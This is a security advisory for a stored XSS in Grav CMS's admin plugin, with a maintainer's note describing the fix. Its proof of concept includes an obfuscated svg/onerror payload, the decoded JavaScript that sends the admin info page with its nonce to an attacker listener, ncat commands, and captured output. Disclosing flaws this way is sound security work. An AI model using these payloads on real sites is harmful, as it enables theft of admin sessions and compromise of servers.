CVE-2026-42611

### Summary A low-privileged (with the ability to create a page) user can cause XSS with the injection of `svg` element. The XSS can further be escalated to dump the entire system information available under `/admin/config/info` whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). ### Details Affected endpoint: `admin/pages/<page>` Affected code: `system/src/Grav/Common/Security.php` ```php public static function detectXss($string, array $options = null): ?string { // Skip any null or non string values if (null === $string || !is_string($string) || empty($string)) { return null; } if (null === $options) { $options = static::getXssDefaults(); } $enabled_rules = (array)($options['enabled_rules'] ?? null); $dangerous_tags = (array)($options['dangerous_tags'] ?? null); if (!$dangerous_tags) { $enabled_rules['dangerous_tags'] = false; } $invalid_protocols = (array)($options['invalid_protocols'] ?? null); if (!$invalid_protocols) { $enabled_rules['invalid_protocols'] = false; } $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); }); if (!$enabled_rules) { return null; } // Keep a copy of the original string before cleaning up $orig = $string; // URL decode $string = urldecode($string); // Convert Hexadecimals $string = (string)preg_replace_callback('!(&#|\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) { return chr(hexdec($m[2])); }, $string); // Clean up entities $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string); // Decode entities $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8'); // Strip whitespace characters $string = preg_replace('!\s!u', ' ', $string); $stripped = preg_replace('!\s!u', '', $string); // Set the patterns we'll test against $patterns = [ // Match any attribute starting with "on" or xmlns 'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu', // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols 'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu', // Match -moz-bindings 'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u', // Match style attributes 'html_inline_styles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu', // Match potentially dangerous tags 'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui' ]; // Iterate over rules and return label if fail foreach ($patterns as $name => $regex) { if (!empty($enabled_rules[$name])) { if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) { return $name; } } } return null; } ``` Specifically the line: ```php 'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu', ``` assumes that the on_events will always begin with either `whitespace, ', "` which can easily be bypassed with a simple payload like: `<img src=x onload=alert('1')>` This XSS Filter practice is broken. 1. Blacklisting every possible scenario that leads to XSS isn't possible. 2. Regex can't parse HTML. It would be better to use an HTMLPurifier. ### PoC Grav Core + Admin Plugin Grav Version: `v1.7.49.5 - Admin v1.10.49.1` 1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.  2. Login as the low-privileged user and browse to pages:  3. Create a post with the following content: ``` <svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg> ``` The payload base64 is decoded to: ```javascript (async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})(); ``` whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the `info` endpoint and the response will be sent to attacker beacon/listener. 4. Save  5. Start a `ncat` listener on port `8001`. ```bash ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/) Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/). ``` 6. Now as a Super Admin visit the `/` of Grav `[http://localhost/grav-admin/`](http://localhost/grav-admin/) for me:  7. We get a response with the `admin-nonce` and the entire system information: ``` ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/) Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/). POST /grav-log HTTP/1.1 Host: [127.0.0.1:8001](http://127.0.0.1:8001/) User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Content-Type: text/plain;charset=UTF-8 Content-Length: 127013 Origin: http://localhost/ Connection: keep-alive Referer: http://localhost/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site Priority: u=6 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Configuration: Info | Grav</title> <meta name="description" content=""> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png"> <script type="text/javascript"> window.GravAdmin = window.GravAdmin || {}; window.GravAdmin.config = { current_url: '/grav-admin/admin/config/info', base_url_relative: '/grav-admin/admin', base_url_simple: '/grav-admin', route: 'info', param_sep: ':', enable_auto_updates_check: '1', admin_timeout: '1800', admin_nonce: '1265db72d897b4324cbe7d1781e66e3b', <SNIPPED> ``` ### Impact This is a **Stored Cross-Site Scripting (XSS)** vulnerability exploitable by a low-privileged user, which leads to **exfiltration of the admin session context**, including the **`admin_nonce`**. This nonce can be abused to **bypass CSRF protections** and **authenticate further requests** to sensitive admin endpoints. Given Grav’s support for **scheduled tasks** and extensible plugin architecture, this can be escalated to **Remote Code Execution (RCE)** under favorable conditions. **Affected Component**: Grav Core + Admin Plugin (`v1.7.49.5` / `v1.10.49.1`) **Impact**: Full system compromise via RCE chain originating from low-privilege XSS. `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` `Overall CVSS Score: 9.0` `High Impact` --- --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. Two changes in tandem: 1. **Regex bypass** (detection layer) — the `on_events` regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details. 2. **Missing dangerous tags** — `svg`, `math`, `option`, and `select` have been added to default `security.xss_dangerous_tags` in [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml). `svg` and `math` allow inline scripting through their XML namespace and event-handler surface; `option`/`select` are the tags attackers use to break out of the admin's select-template context before dropping the payload. Combined with the tightened `on_events` regex, the PoC `<svg>…<script>…</script></svg>` (and the GHSA-c2q3 `</option></select><img src=x onerror=alert(1)>` variant) now trip at least one detector. **Files:** - [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — dangerous-tags list extended. - [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — regex tightening. - [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php).